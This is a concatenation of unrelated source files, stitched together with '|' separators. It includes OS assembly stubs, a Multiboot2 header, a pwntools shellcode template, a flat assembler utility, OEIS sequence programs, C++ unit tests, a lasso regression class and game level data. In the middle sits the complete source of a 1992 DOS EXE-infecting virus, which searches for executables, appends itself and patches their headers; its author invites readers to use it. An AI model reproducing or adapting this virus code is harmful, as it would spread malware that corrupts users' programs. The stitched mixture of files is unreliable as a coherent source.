?g_GetCycleCount@Class_Microsoft_Singularity_Processor@@SA_KXZ proc frame
PrologPush rbp
SetFramePointer rbp
.endprolog
rdtsc; reads counter into edx:ecx (32-bits each)
shl rdx, 32
or rax,rdx ;; make it a 64-bit result
;; Epilogue
mov rsp, rbp
pop rbp;
ret;
?g_GetCycleCount@Class_Microsoft_Singularity_Processor@@SA_KXZ endp
?g_GetFramePointer@Class_Microsoft_Singularity_Processor@@SAPEAUuintPtr@@XZ proc
mov rax, rbp
ret
?g_GetFramePointer@Class_Microsoft_Singularity_Processor@@SAPEAUuintPtr@@XZ endp
?g_MpCallEntryPoint@Class_Microsoft_Singularity_Processor@@SAXPEAUuintPtr@@@Z proc
mov rax, rcx;
call rax;
ret
?g_MpCallEntryPoint@Class_Microsoft_Singularity_Processor@@SAXPEAUuintPtr@@@Z endp
;__declspec(naked)
;UIntPtr Class_Microsoft_Singularity_Processor::g_GetStackPointer()
?g_GetStackPointer@Class_Microsoft_Singularity_Processor@@SAPEAUuintPtr@@XZ proc
mov rax, rsp;
ret;
?g_GetStackPointer@Class_Microsoft_Singularity_Processor@@SAPEAUuintPtr@@XZ endp
;
; void Class_Microsoft_Singularity_Processor::g_Out(uint16 port, int value)
;
?g_Out@Class_Microsoft_Singularity_Processor@@SAXGH@Z proc
mov eax, edx
mov dx, cx
out dx, eax
ret
?g_Out@Class_Microsoft_Singularity_Processor@@SAXGH@Z endp
end
|
%define MULTIBOOT2_HEADER_MAGIC 0xe85250d6
%define MULTIBOOT_ARCHITECTURE_I386 0
%define MULTIBOOT_HEADER_TAG_END 0
%define MULTIBOOT_HEADER_TAG_INFORMATION_REQUEST 1
%define MULTIBOOT_HEADER_TAG_ADDRESS 2
%define MULTIBOOT_HEADER_TAG_ENTRY_ADDRESS 3
%define MULTIBOOT_HEADER_TAG_CONSOLE_FLAGS 4
%define MULTIBOOT_HEADER_TAG_FRAMEBUFFER 5
%define MULTIBOOT_HEADER_TAG_MODULE_ALIGN 6
%define MULTIBOOT_HEADER_TAG_EFI_BS 7
%define MULTIBOOT_HEADER_TAG_ENTRY_ADDRESS_EFI64 9
%define MULTIBOOT_HEADER_TAG_RELOCATABLE 10
section .multiboot
header_start:
dd MULTIBOOT2_HEADER_MAGIC ; magic number (boot 2)
dd MULTIBOOT_ARCHITECTURE_I386
dd header_end - header_start ;
; checksum
dd 0x100000000 - (MULTIBOOT2_HEADER_MAGIC + 0 + (header_end - header_start))
; insert optional boot tags here
dw MULTIBOOT_HEADER_TAG_END
dw 0
dd 8
header_end:
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>setfsuid(uid) -> str
Invokes the syscall setfsuid.
See 'man 2 setfsuid' for more information.
Arguments:
uid(uid_t): uid
Returns:
int
</%docstring>
<%page args="uid=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['uid']
argument_values = [uid]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_setfsuid']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* setfsuid(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
format MZ
heap 0
stack 8000h
entry loader:init
include 'loader.inc'
segment main use32
start:
call get_params
jnc make_listing
mov esi,_usage
call display_string
mov ax,4C02h
int 21h
make_listing:
call listing
mov ax,4C00h
int 21h
error:
mov esi,_error_prefix
call display_string
pop esi
call display_string
mov esi,_error_suffix
call display_string
mov ax,4C00h
int 21h
get_params:
push ds
mov ds,[psp_selector]
mov esi,81h
mov edi,params
find_param:
lodsb
cmp al,20h
je find_param
cmp al,'-'
je option_param
cmp al,0Dh
je all_params
or al,al
jz all_params
cmp [es:input_file],0
jne get_output_file
mov [es:input_file],edi
jmp process_param
get_output_file:
cmp [es:output_file],0
jne bad_params
mov [es:output_file],edi
process_param:
cmp al,22h
je string_param
copy_param:
stosb
lodsb
cmp al,20h
je param_end
cmp al,0Dh
je param_end
or al,al
jz param_end
jmp copy_param
string_param:
lodsb
cmp al,22h
je string_param_end
cmp al,0Dh
je param_end
or al,al
jz param_end
stosb
jmp string_param
option_param:
lodsb
cmp al,'a'
je addresses_option
cmp al,'A'
je addresses_option
cmp al,'b'
je bytes_per_line_option
cmp al,'B'
je bytes_per_line_option
invalid_option:
pop ds
stc
ret
get_option_value:
xor eax,eax
mov edx,eax
get_option_digit:
lodsb
cmp al,20h
je option_value_ok
cmp al,0Dh
je option_value_ok
or al,al
jz option_value_ok
sub al,30h
jc bad_params_value
cmp al,9
ja bad_params_value
imul edx,10
jo bad_params_value
add edx,eax
jc bad_params_value
jmp get_option_digit
option_value_ok:
dec esi
clc
ret
bad_params_value:
stc
ret
bytes_per_line_option:
lodsb
cmp al,20h
je bytes_per_line_option
cmp al,0Dh
je invalid_option
or al,al
jz invalid_option
dec esi
call get_option_value
jc bad_params
or edx,edx
jz invalid_option
cmp edx,1000
ja invalid_option
mov [es:code_bytes_per_line],edx
jmp find_param
addresses_option:
lodsb
cmp al,20h
je set_addresses_option
cmp al,0Dh
je set_addresses_option
or al,al
jnz bad_params
set_addresses_option:
dec esi
mov [es:show_addresses],1
jmp find_param
param_end:
dec esi
string_param_end:
xor al,al
stosb
jmp find_param
all_params:
xor al,al
stosb
pop ds
cmp [input_file],0
je bad_params
cmp [output_file],0
je bad_params
clc
ret
bad_params:
stc
ret
include 'system.inc'
include '..\listing.inc'
_usage db 'listing generator for flat assembler',0Dh,0Ah
db 'usage: listing <input> <output>',0Dh,0Ah
db 'optional settings:',0Dh,0Ah
db ' -a show target addresses for assembled code',0Dh,0Ah
db ' -b <number> set the amount of bytes listed per line',0Dh,0Ah
db 0
_error_prefix db 'error: ',0
_error_suffix db '.',0Dh,0Ah,0
input_file dd 0
output_file dd 0
code_bytes_per_line dd 16
show_addresses db 0
line_break db 0Dh,0Ah
input dd ?
assembled_code dd ?
assembled_code_length dd ?
code_end dd ?
code_offset dd ?
code_length dd ?
output_handle dd ?
output_buffer dd ?
current_source_file dd ?
current_source_line dd ?
source dd ?
source_length dd ?
maximum_address_length dd ?
address_start dd ?
last_listed_address dd ?
psp_selector dw ?
environment_selector dw ?
memory_handles_count dd ?
memory_handles rd 400h
params rb 1000h
characters rb 100h
segment buffer_segment
buffer = (buffer_segment-main) shl 4
db 1000h dup ?
segment stack_segment
stack_bottom = (stack_segment-main) shl 4
db 4000h dup ?
stack_top = stack_bottom + $
|
;
; Virus Lession #2 'How to make a non-resident EXE infector'
;
; (c) 1992 Tormentor // Demoralized Youth
;
; Well, I had not time to comment this code as much as I wanted to,
; but here you are.
; What can be hard to understand is the .EXE header changes, but if
; you look at the description on the header (ex: Norton guide Tech. Ref)
; you'll understand...
; Anyway, feel free to use this example and if you have any questions
; or anything call my board: Swedish Virus Labratory +46-3191-9393
;
; Greetings to all virus-writers!
;
; /Tormentor
;
.model tiny
.radix 16
.code
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
org 100
Virus_Start: call where_we_are
where_we_are: pop si
sub si,where_we_are-Virus_Start
mov ax,es
add ax,10
add ax,cs:[si+Exe_header-Virus_Start+16]
push ax
push cs:[si+Exe_header-Virus_Start+14]
push ds
push cs
pop ds
mov ah,1a
mov dx,offset Own_dta-Virus_Start
add dx,si
int 21
mov ah,4e ; We start to look for a *.EXE file
look4victim: mov dx,offset file_match-Virus_Start
add dx,si
int 21
jnc cont2
jmp no_victim_found ; If no *.EXE files was found.
cont2: mov ax,3d02
mov dx,Own_dta-Virus_Start+1e
add dx,si
int 21
jnc cont1
jmp cant_open_file
cont1: xchg ax,bx
mov ah,3f
mov cx,1c
mov dx,offset Exe_header-Virus_Start
add dx,si
int 21
jc read_error
cmp byte ptr ds:[si+Exe_header-Virus_Start],'M'
jnz no_exe ; !!! Some EXEs starts with ZM !!!
cmp word ptr ds:[si+Exe_header-Virus_Start+12],'DY'
jz infected
mov ax,4202 ; Go EOF
xor cx,cx
xor dx,dx
int 21
push dx
push ax
mov ah,40 ; Write virus to EOF.
mov cx,Virus_Lenght
mov dx,si
int 21
mov ax,4202 ; Get NEW filelenght.
xor cx,cx
xor dx,dx
int 21
mov cx,200
div cx
inc ax
mov word ptr ds:[Exe_header-Virus_Start+2+si],dx
mov word ptr ds:[Exe_header-Virus_Start+4+si],ax
pop ax
pop dx
mov cx,10
div cx
sub ax,word ptr ds:[Exe_header-Virus_Start+8+si]
mov word ptr ds:[Exe_header-Virus_Start+16+si],ax
mov word ptr ds:[Exe_header-Virus_Start+14+si],dx
mov word ptr ds:[Exe_header-Virus_Start+12+si],'DY'
mov ax,4200 ; Position file-pointer to begin of file
xor cx,cx
xor dx,dx
int 21
mov ah,40 ; Write header
mov cx,1c
mov dx,offset Exe_header-Virus_Start
add dx,si
int 21
jc write_error
no_exe:
infected:
mov ah,3e
int 21
Sick_or_EXE: mov ah,4f
jmp look4victim
write_error: ; Here you can test whats went wrong.
read_error: ; This is just for debugging purpose.
cant_open_file: ; These entries are equal to eachother
no_victim_found: ; but could be changed if you need to test something.
pop ds
retf
file_match db '*.EXE',0 ; Pattern to search for.
; Don't forget to end with 0 !
Exe_header db 16 DUP(0)
dw 0fff0 ; Adjustment just for this COM-file.
db 4 DUP(0)
notes db '(c) 1992 Tormentor / Demoralized Youth ',0a,0d
db 'Rather first in hell, than second in heaven.'
Own_Dta db 02bh DUP(0)
Virus_End EQU $
end Virus_Start
|
; A174989: Partial sums of A003602.
; 1,2,4,5,8,10,14,15,20,23,29,31,38,42,50,51,60,65,75,78,89,95,107,109,122,129,143,147,162,170,186,187,204,213,231,236,255,265,285,288,309,320,342,348,371,383,407,409,434,447,473,480,507,521,549,553,582,597
mov $1,$0
lpb $1
mov $2,$1
sub $1,1
div $1,2
sub $2,$1
pow $2,2
add $0,$2
lpe
div $0,2
add $0,1
|
; A053565: a(n) = 2^(n-1)*(3*n-4).
; -2,-1,4,20,64,176,448,1088,2560,5888,13312,29696,65536,143360,311296,671744,1441792,3080192,6553600,13893632,29360128,61865984,130023424,272629760,570425344,1191182336,2483027968,5167382528,10737418240,22280142848,46170898432,95563022336,197568495616,408021893120,841813590016,1735166787584,3573412790272,7352984010752,15118284881920,31061203484672,63771674411008,130841883705344,268280837177344,549755813888000,1125899906842624,2304576371818496,4714705859903488,9640517952339968,19703248369745920,40250921669623808,82190693199511552,167759086119550976,342273571680157696,698057942242426880,1423137482249076736,2900318160026599424,5908722711110090752,12033618204333965312,24499581972895498240,49863855074246131712,101457092405402533888,206372949324625608704,419663427676892299264,853161913409066762240,1733993942928697851904,3523328118078524358656,7157336700599306027008,14536034330083126673408,29514790517935282585600,59915024751408623648768,121600936933893364252672,246743648729938962415616,500570847184182392651776,1015308793816973720944640,2058951786531165313171456,4174571970856766368907264,8462480737302404222943232,17151635065782551416143872,34756617313920588772802560,70419928992552149426634752,142653246714526242615328768,288933270887896372754776064,585120096693480520557789184,1184747303222336591212052480,2398508826115424282617053184,4855046091572350765620002816,9826149061827705932011798528,19884411881021420665567182848,40233051276774858934221537280,81394557583013753074617417728,164646025224955576561583521792,333005870567767293947864416256,673439381371246869545123577856,1361734043213918302389036646400,2753178647370685731375652274176,5565778416627069715946462511104,11250399077025535938283240947712,22738482641593864889347113746432,45952334258273315804255491194880,92855406466717803659633509793792
sub $1,$0
add $1,2
mov $2,$0
add $0,$1
mul $1,$0
pow $0,$2
sub $2,$1
mul $0,$2
div $0,2
|
; A173038: a(n) = (1/4)*(n^2 - 5*n + 2)*(n-2)! + 1.
; Submitted by Christian Krause
; 0,0,0,4,49,481,4681,47881,524161,6168961,78019201,1057795201,15328051201,236626790401,3879433958401,67345229952001,1234444603392001,23831057682432001,483379214782464001,10279010984546304001,228692788768604160001,5313457985857781760001,128698083330536079360001,3244428100730064568320001,85001431037453803192320001,2311170296456316911616000001,65131570971946810146816000001,1900107719098002452054016000001,57319008787002205774282752000001,1786035922735419794817810432000001
mov $2,$0
bin $2,2
sub $2,2
lpb $0
mul $2,$0
sub $0,1
lpe
mov $0,$2
div $0,2
add $0,1
|
/** @file
IntrusivePtr tests.
@section license License
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <string>
#include <sstream>
#include <tsconfig/IntrusivePtr.h>
#include <catch.hpp>
struct Thing : public ts::IntrusivePtrCounter {
Thing() { ++_count; }
virtual ~Thing() { --_count; }
std::string _name;
static int _count; // instance count.
};
struct Stuff : public Thing {
int _value{0};
};
struct Obscure : private ts::IntrusivePtrCounter {
std::string _text;
friend class ts::IntrusivePtr<Obscure>;
};
struct Item : public ts::IntrusivePtrCounter {
ts::IntrusivePtr<Item> _next;
Item() { ++_count; }
~Item() { --_count; }
static int _count; // instance count.
};
struct Atomic : ts::IntrusivePtrAtomicCounter {
int _q{0};
};
int Thing::_count{0};
int Item::_count{0};
TEST_CASE("IntrusivePtr", "[libts][IntrusivePtr]")
{
using Ptr = ts::IntrusivePtr<Thing>;
Ptr p1{new Thing};
REQUIRE(p1.use_count() == 1);
REQUIRE(Thing::_count == 1);
p1.reset(nullptr);
REQUIRE(Thing::_count == 0);
p1.reset(new Thing);
Ptr p2 = p1;
REQUIRE(Thing::_count == 1);
REQUIRE(p1.use_count() == p2.use_count());
REQUIRE(p2.use_count() == 2);
Ptr p3{new Thing};
REQUIRE(Thing::_count == 2);
p1 = p3;
p2 = p3;
REQUIRE(Thing::_count == 1);
Ptr p4;
REQUIRE(static_cast<bool>(p4) == false);
REQUIRE(!p4 == true);
REQUIRE(static_cast<bool>(p3) == true);
REQUIRE(!p3 == false);
// This is a compile check to make sure IntrusivePtr can be used with private inheritance
// of ts::InstrusivePtrCounter if IntrusivePtr is declared a friend.
ts::IntrusivePtr<Obscure> op{new Obscure};
op->_text.assign("Text");
}
// List test.
TEST_CASE("IntrusivePtr List", "[libts][IntrusivePtr]")
{
// The clang analyzer claims this type of list manipularion leads to use after free because of
// premature class destruction but these tests verify that is a false positive.
using LP = ts::IntrusivePtr<Item>;
LP list{new Item}; // start a list
{
// Add an item to the front of the list.
LP item{new Item};
REQUIRE(Item::_count == 2);
REQUIRE(list.use_count() == 1);
REQUIRE(item.use_count() == 1);
item->_next = list;
REQUIRE(Item::_count == 2);
REQUIRE(list.use_count() == 2);
REQUIRE(item.use_count() == 1);
list = item;
REQUIRE(Item::_count == 2);
REQUIRE(list.use_count() == 2);
}
REQUIRE(Item::_count == 2);
REQUIRE(list.use_count() == 1);
REQUIRE(list->_next.use_count() == 1);
{
// add an item after the first element in a non-empty list.
LP item{new Item};
REQUIRE(Item::_count == 3);
REQUIRE(list.use_count() == 1);
REQUIRE(item.use_count() == 1);
item->_next = list->_next;
REQUIRE(Item::_count == 3);
REQUIRE(list.use_count() == 1);
REQUIRE(item.use_count() == 1);
REQUIRE(item->_next.use_count() == 2);
list->_next = item;
REQUIRE(Item::_count == 3);
REQUIRE(item.use_count() == 2);
REQUIRE(list->_next.get() == item.get());
REQUIRE(item->_next.use_count() == 1);
}
REQUIRE(Item::_count == 3);
REQUIRE(list.use_count() == 1);
REQUIRE(list->_next.use_count() == 1);
list.reset();
REQUIRE(Item::_count == 0);
list.reset(new Item); // start a list
REQUIRE(Item::_count == 1);
{
// Add item after first in singleton list.
LP item{new Item};
REQUIRE(Item::_count == 2);
REQUIRE(list.use_count() == 1);
REQUIRE(item.use_count() == 1);
REQUIRE(!list->_next);
item->_next = list->_next;
REQUIRE(!item->_next);
REQUIRE(Item::_count == 2);
REQUIRE(list.use_count() == 1);
REQUIRE(item.use_count() == 1);
list->_next = item;
REQUIRE(Item::_count == 2);
REQUIRE(item.use_count() == 2);
REQUIRE(list->_next.get() == item.get());
}
REQUIRE(Item::_count == 2);
REQUIRE(list.use_count() == 1);
REQUIRE(list->_next.use_count() == 1);
list.reset();
REQUIRE(Item::_count == 0);
}
// Cross type tests.
TEST_CASE("IntrusivePtr CrossType", "[libts][IntrusivePtr]")
{
using ThingPtr = ts::IntrusivePtr<Thing>;
using StuffPtr = ts::IntrusivePtr<Stuff>;
ThingPtr tp1{new Stuff};
StuffPtr sp1{new Stuff};
ThingPtr tp2{sp1};
REQUIRE(tp2.get() == sp1.get());
REQUIRE(Thing::_count == 2);
REQUIRE(tp2.use_count() == 2);
tp2 = sp1; // should be a no-op, verify it compiles.
REQUIRE(tp2.get() == sp1.get());
REQUIRE(Thing::_count == 2);
REQUIRE(sp1.use_count() == 2);
sp1 = ts::ptr_cast<Stuff>(tp1); // move assign
REQUIRE(sp1.get() == tp1.get());
REQUIRE(sp1.use_count() == 2);
REQUIRE(tp2.use_count() == 1);
tp1 = ts::ptr_cast<Stuff>(tp2); // cross type move assign
REQUIRE(sp1.use_count() == 1);
REQUIRE(tp1.get() == tp2.get());
REQUIRE(tp1.use_count() == 2);
sp1 = ts::ptr_cast<Stuff>(tp1);
REQUIRE(Thing::_count == 1);
REQUIRE(sp1.use_count() == 3);
tp1 = tp2; // same object assign check.
{
StuffPtr sp2{sp1};
REQUIRE(sp1.use_count() == 4);
}
sp1.reset();
tp1 = std::move(tp2); // should clear tp2
tp1.reset();
REQUIRE(Thing::_count == 0);
}
TEST_CASE("IntrusiveAtomicPtr", "[libts][IntrusivePtr]")
{
using Ptr = ts::IntrusivePtr<Atomic>;
Ptr p1{new Atomic};
REQUIRE(p1.use_count() == 1);
p1.reset(nullptr);
}
|
//
// Created by haohanwang on 2/2/16.
//
#include <limits>
#include <stdexcept>
#ifdef BAZEL
#include "Models/MultiPopLasso.hpp"
#else
#include "MultiPopLasso.hpp"
#endif
using namespace std;
using namespace Eigen;
void MultiPopLasso::setXY(MatrixXf m, MatrixXf n) {
X = m;
y = n;
}
void MultiPopLasso::initBeta() {
cout << "Multipop lasso does not suppor init beta explicitly here, beta will be initialized when formating data" << endl;
}
void MultiPopLasso::setLambda(float l) { lambda = l; }
void MultiPopLasso::setPopulation(VectorXf pop) {
// population indicator must start from 0
population = pop;
popNum = (long)population.maxCoeff() + 1;
}
float MultiPopLasso::cost() {
initTraining();
if (logisticFlag){
return 0.5 * (y - (X * beta).unaryExpr(&sigmoid)).squaredNorm() + lambda * groupPenalization();
}
else{
return 0.5 * (y - X * beta).squaredNorm() + lambda * groupPenalization();
}
}
float MultiPopLasso::groupPenalization() {
float r = 0;
MatrixXf tmp = getBetaInside();
for (long i = 0; i < tmp.rows(); i++) {
r += tmp.row(i).squaredNorm();
}
return r;
}
void MultiPopLasso::assertReadyToRun() {
// X and Y must be compatible
if (!((X.rows() > 0) && (X.rows() == y.rows())
&& (X.cols() > 0) && (y.cols() > 0))) {
throw runtime_error("X and Y matrices of size (" + to_string(X.rows()) + "," + to_string(X.cols()) + "), and (" +
to_string(y.rows()) + "," + to_string(y.cols()) + ") are not compatible.");
}
// Population Labels must have n rows (one for each sample)
if (population.rows() != X.rows()) {
throw runtime_error("Population labels of length " + to_string(population.rows()) +
" are the wrong size for X with " + to_string(X.rows()) + " samples.");
}
checkLogisticRegression();
cerr << "assertReadyToRun passed" << endl;
}
void MultiPopLasso::setAttributeMatrix(const string& str, MatrixXf* Z) {
if (str == "population") {
cerr << "setting population" << endl;
// todo: stop copying data
setPopulation(VectorXf(Map<VectorXf>(Z->data(), Z->rows())));
} else if (str == "X") {
setX(*Z);
} else if (str == "Y") {
setY(*Z);
} else {
// throw runtime_error("MultiPopLasso models have no attribute with name " + str);
std::clog << "MultiPopLasso models have no attribute with name " << str << endl;
}
}
void MultiPopLasso::initTraining() {
if (!initTrainingFlag){
initTrainingFlag = true;
reArrangeData();
formatData();
initC();
}
}
void MultiPopLasso::reArrangeData() {
// arrange data according to its population
long r = X.rows();
long c = X.cols();
MatrixXf tmpX = MatrixXf::Zero(r, c);
MatrixXf tmpY = MatrixXf::Zero(r, 1);
VectorXf tmpPop = VectorXf::Zero(r);
vector<long> idx;
long count = 0;
for (long i=0; i<popNum; i++){
idx = getPopulationIndex(i);
for (unsigned long j=0; j<idx.size(); j++){
tmpX.row(count) = X.row(idx.at(j));
tmpY.row(count) = y.row(idx.at(j));
tmpPop(count++) = i;
}
}
X = tmpX;
y = tmpY;
population = tmpPop;
}
void MultiPopLasso::removeColumns() {
long c = X.cols();
removeCols = VectorXi::Zero(c);
for (long i = 0; i < c; i++) {
float var = Math::getInstance().variance(X.col(i));
if (var < 1e-3) {
removeCols(i) = 1;
}
}
long r = X.rows();
long b = r / popNum;
MatrixXf tmp;
float cor;
float std;
for (long i = 0; i < r; i += b) {
tmp = X.block(i, 0, b, c);
for (long j = 0; j < c; j++) {
if (removeCols(j) == 0) {
for (long k = j + 1; k < c; k++) {
if (removeCols(k) == 0) {
cor = Math::getInstance().correlation(tmp.col(j), tmp.col(k));
if (cor > 0.98) {
removeCols(k) = 1;
}
}
}
std = Math::getInstance().std(tmp.col(j));
if (std < 1e-9) {
removeCols(j) = 1;
}
}
}
}
}
MatrixXf MultiPopLasso::normalizeData_col(MatrixXf a) {
long c = a.cols();
VectorXf mean = a.colwise().mean();
VectorXf std_inv = VectorXf::Zero(c);
for (long i = 0; i < c; i++) {
std_inv(i) = 1.0 / Math::getInstance().std(a.col(i));
}
return ((a.colwise() - mean).array().colwise() * std_inv.array()).matrix();
}
void MultiPopLasso::formatData() {
// format data, put data into X matrix and init beta
// todo: here we don't remove columns, may add it later
// for (long i = removeCols.size() - 1; i >= 0; i--) {
// if (removeCols(i) == 1) {
// Math::getInstance().removeCol(&X, i);
// }
// }
long c = X.cols();
long r = X.rows();
MatrixXf tmpX = MatrixXf::Zero(r, c * popNum);
float pIdx = 0;
for (long i=0;i<r;i++){
pIdx = population(i);
for (long j=0;j<c;j++){
tmpX(i, j*popNum+pIdx) = X(i, j);
}
}
X = tmpX;
beta = MatrixXf::Zero(c * popNum, 1);
L = ((X.transpose()*X).eigenvalues()).real().maxCoeff();
}
void MultiPopLasso::initC() {
long c = X.cols();
C = MatrixXf::Zero(c * popNum, c);
for (long i = 0; i < c; i++) {
for (long j = 0; j < popNum; j++) {
C(i*j+j, i) = gamma;
}
}
}
MatrixXf MultiPopLasso::proximal_derivative() {
long r = beta.rows();
long c = beta.cols();
MatrixXf A = MatrixXf::Zero(r*popNum, c);
MatrixXf tmp = C*beta;
for (long i=0;i<r*popNum;i++){
A.row(i) = Math::getInstance().L2Thresholding(tmp.row(i)/mu);
}
if (logisticFlag){
return X.transpose()*((X*beta).unaryExpr(&sigmoid)-y) + C.transpose()*A;
}
else{
return X.transpose()*(X*beta-y) + C.transpose()*A;
}
}
MatrixXf MultiPopLasso::proximal_operator(MatrixXf in, float lr) {
MatrixXf sign = ((in.array()>0).matrix()).cast<float>();
sign += -1.0*((in.array()<0).matrix()).cast<float>();
in = ((in.array().abs()-lr*lambda).max(0)).matrix();
return (in.array()*sign.array()).matrix();
}
//MatrixXf MultiPopLasso::deriveMatrixA(float lr, long loops, float tol) {
// long r = beta.rows();
// long c = C.rows();
// MatrixXf A = MatrixXf::Zero(r, c);
// MatrixXf bct = beta*C.transpose();
// float prev_residue = numeric_limits<float>::max();
// float curr_residue;
// for (long i=0;i<loops;i++){
// A = A - lr*(bct - A);
// A = project(A);
// curr_residue = (bct*A).trace() - 0.5*A.norm();
// if (prev_residue - curr_residue<= tol){
// break;
// }
// else{
// prev_residue = curr_residue;
// }
// }
// return A;
//}
//
//MatrixXf MultiPopLasso::project(MatrixXf A) {
// if (A.norm() <= 1){
// return A;
// }
// else{
// return A;
// }
//}
//
float MultiPopLasso::getL(){
float c = C.norm()/mu;
return c + L;
}
vector<long> MultiPopLasso::getPopulationIndex(long pi) {
vector<long> idx;
for (long i=0;i<y.rows();i++){
if (population(i) == pi){
idx.push_back(i);
}
}
return idx;
}
MatrixXf MultiPopLasso::getBetaInside() {
long c = X.cols()/popNum;
MatrixXf r = MatrixXf::Zero(popNum, c);
for (long i=0;i<popNum;i++){
for (long j=0;j<c;j++){
r(i, j) = beta(j*popNum+i,i/popNum);
}
}
return r;
}
MatrixXf MultiPopLasso::getBeta() {
long c = X.cols()/popNum;
MatrixXf r = MatrixXf::Zero(popNum*betaAll.cols(), c);
for (long k=0;k<betaAll.cols();k++){
for (long i=0;i<popNum;i++){
for (long j=0;j<c;j++){
r(i+k*popNum, j) = betaAll(j*popNum+i,k);
}
}
}
return r.transpose()*100;
}
void MultiPopLasso::setMu(float m) {
mu = m;
}
void MultiPopLasso::setGamma(float g) {
gamma = g;
}
MatrixXf MultiPopLasso::getFormattedBeta() {
return beta;
}
MatrixXf MultiPopLasso::predict() {
cout << "does not allow prediction with original X, please use predict(X, population) method instead"<<endl;
return MatrixXf::Random(1,1);
}
MatrixXf MultiPopLasso::predict(MatrixXf x) {
cout << "does not allow prediction without population information"<<endl;
return MatrixXf::Random(1,1);
}
MatrixXf MultiPopLasso::predict(MatrixXf x, VectorXf pop){
long r= x.rows();
MatrixXf y(r, 1);
MatrixXf b = getBetaInside();
for (long i=0;i<r;i++){
y.row(i) = x.row(i)*(b.row(long(pop(i))).transpose());
}
return y;
}
MultiPopLasso::MultiPopLasso() {
initTrainingFlag = false;
lambda = default_lambda;
mu = default_mu;
gamma = default_gamma;
betaAll = MatrixXf::Ones(1,1);
logisticFlag = false;
}
MultiPopLasso::MultiPopLasso(const unordered_map<string, string> &options) {
initTrainingFlag = false;
try {
lambda = stod(options.at("lambda"));
} catch (std::out_of_range& oor) {
lambda = default_lambda;
}
try {
mu = stod(options.at("mu"));
} catch (std::out_of_range& oor) {
mu = default_mu;
}
try {
gamma = stod(options.at("gamma"));
} catch (std::out_of_range& oor) {
gamma = default_gamma;
}
betaAll = MatrixXf::Ones(1,1);
logisticFlag = false;
}
void MultiPopLasso::updateBetaAll() {
if (betaAll.rows() == 1){
betaAll = beta;
}
else{
betaAll.conservativeResize(betaAll.rows(),betaAll.cols()+1);
betaAll.col(betaAll.cols()-1) = beta;
}
}
MatrixXf MultiPopLasso::getBetaAll() {
return betaAll;
}
void MultiPopLasso::reSetFlag() {
initTrainingFlag = false;
}
|
; Original address was $B8FE
; 7-6
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKLOW
.byte LEVEL4_BGBANK_INDEX(0) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_UNDERWATER | LEVEL5_TIME_300
.byte $FF
|
.FILL 0
.EQU #OUT 1
.EQU #EXIT 2
.ENTRY .+(0,1) GOS SMR.x $4, #OUT NOP GOW {Got a character.}
GOE LW $3, [++$PC] GOE LW $4, [$3] INC 3,3 DZ.Y $4
.ORG (10,10) WORD data TRP #EXIT
{The trap handler for TRP 0.}
SMR $0, #EXIT
.ORG (#EXIT,0)
.EQU data .+(0,1) .ORG (42d,42d)
WORD 'H' WORD 'e' WORD 'l' WORD 'l' WORD 'o' WORD ',' WORD ' ' WORD 'w' WORD 'o' WORD 'r' WORD 'l' WORD 'd' WORD '!' WORD '\n' WORD '\0'
|
; A314754: Coordination sequence Gal.5.82.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,9,13,19,23,27,33,37,41,46,51,55,59,65,69,73,79,83,87,92,97,101,105,111,115,119,125,129,133,138,143,147,151,157,161,165,171,175,179,184,189,193,197,203,207,211,217,221,225
